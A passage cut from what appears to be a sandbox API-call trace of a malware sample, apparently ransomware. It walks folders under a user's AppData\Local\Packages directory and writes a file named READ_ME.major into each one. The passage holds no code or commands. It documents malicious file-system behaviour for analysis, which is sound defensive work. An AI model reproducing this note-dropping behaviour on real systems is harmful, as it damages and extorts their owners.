out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.789] CloseHandle (hObject=0x8f4) returned 1 [0188.789] FindNextFileW (in: hFindFile=0x661830, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f66fd54, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f66fd54, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f66fd54, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0188.789] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0188.791] WriteFile (in: hFile=0x8f4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.792] CloseHandle (hObject=0x8f4) returned 1 [0188.792] FindNextFileW (in: hFindFile=0x661830, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f649af8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xce8a0b61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f649af8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0188.792] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0188.794] WriteFile (in: hFile=0x8f4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.795] CloseHandle (hObject=0x8f4) returned 1 [0188.795] FindNextFileW (in: hFindFile=0x661830, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f649af8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f649af8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f649af8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0188.796] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0188.796] WriteFile (in: hFile=0x8f4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.797] CloseHandle (hObject=0x8f4) returned 1 [0188.797] FindNextFileW (in: hFindFile=0x661830, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22493712, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x22493712, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x22493712, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0188.797] FindNextFileW (in: hFindFile=0x661830, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f649af8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f649af8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f649af8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0188.797] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0188.798] WriteFile (in: hFile=0x8f4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.799] CloseHandle (hObject=0x8f4) returned 1 [0188.799] FindNextFileW (in: hFindFile=0x661830, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f66fd54, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f66fd54, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f66fd54, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0188.799] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0188.800] WriteFile (in: hFile=0x8f4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.801] CloseHandle (hObject=0x8f4) returned 1 [0188.801] FindNextFileW (in: hFindFile=0x661830, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f66fd54, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f66fd54, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f66fd54, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0188.801] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0188.802] WriteFile (in: hFile=0x8f4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.804] CloseHandle (hObject=0x8f4) returned 1 [0188.804] FindNextFileW (in: hFindFile=0x661830, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f649af8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f649af8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f649af8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0188.804] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0188.805] WriteFile (in: hFile=0x8f4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.806] CloseHandle (hObject=0x8f4) returned 1 [0188.806] FindNextFileW (in: hFindFile=0x661830, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f649af8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f649af8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f649af8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0188.806] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b585e2b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x8b2eb9cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x22493712, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660c30 [0188.806] FindNextFileW (in: hFindFile=0x660c30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b585e2b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x8b2eb9cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x22493712, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0188.806] FindNextFileW (in: hFindFile=0x660c30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2b6ec46e, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x35a9714d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x35a9714d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0188.806] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.services.store.engagement_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8 [0188.808] WriteFile (in: hFile=0x8f8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.809] CloseHandle (hObject=0x8f8) returned 1 [0188.810] FindNextFileW (in: hFindFile=0x660c30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b673a2c, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce8f1916, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b673a2c, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0188.810] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.services.store.engagement_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8 [0188.810] WriteFile (in: hFile=0x8f8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.811] CloseHandle (hObject=0x8f8) returned 1 [0188.812] FindNextFileW (in: hFindFile=0x660c30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b5ac30d, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce8f2195, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b5ac30d, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0188.812] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.services.store.engagement_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8 [0188.814] WriteFile (in: hFile=0x8f8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.815] CloseHandle (hObject=0x8f8) returned 1 [0188.815] FindNextFileW (in: hFindFile=0x660c30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b585e2b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce8f2b5d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b585e2b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0188.815] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.services.store.engagement_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8 [0188.820] WriteFile (in: hFile=0x8f8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.821] CloseHandle (hObject=0x8f8) returned 1 [0188.821] FindNextFileW (in: hFindFile=0x660c30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22493712, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x22493712, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x22493712, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0188.821] FindNextFileW (in: hFindFile=0x660c30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b585e2b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce8f3688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b585e2b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0188.822] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.services.store.engagement_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8 [0188.822] WriteFile (in: hFile=0x8f8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.823] CloseHandle (hObject=0x8f8) returned 1 [0188.823] FindNextFileW (in: hFindFile=0x660c30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b5ac30d, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x712a64ad, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x712a64ad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0188.823] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.services.store.engagement_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8 [0188.827] WriteFile (in: hFile=0x8f8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.828] CloseHandle (hObject=0x8f8) returned 1 [0188.828] FindNextFileW (in: hFindFile=0x660c30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b585e2b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce9b4220, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b585e2b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0188.828] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.services.store.engagement_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8 [0188.829] WriteFile (in: hFile=0x8f8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.830] CloseHandle (hObject=0x8f8) returned 1 [0188.830] FindNextFileW (in: hFindFile=0x660c30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b585e2b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce9b4220, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b585e2b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0188.831] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3186030, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x88e698d0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x225eac14, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660ab0 [0188.831] FindNextFileW (in: hFindFile=0x660ab0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3186030, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x88e698d0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x225eac14, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0188.831] FindNextFileW (in: hFindFile=0x660ab0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf326ae34, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x35cd3598, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x35cd3598, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0188.831] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8fc [0188.954] WriteFile (in: hFile=0x8fc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.954] CloseHandle (hObject=0x8fc) returned 1 [0188.955] FindNextFileW (in: hFindFile=0x660ab0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3244cb5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcea88474, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf3244cb5, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0188.955] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8fc [0188.955] WriteFile (in: hFile=0x8fc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.956] CloseHandle (hObject=0x8fc) returned 1 [0188.956] FindNextFileW (in: hFindFile=0x660ab0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf31ac27f, ftCreationTime.dwHighDateTime=0x1d32714, 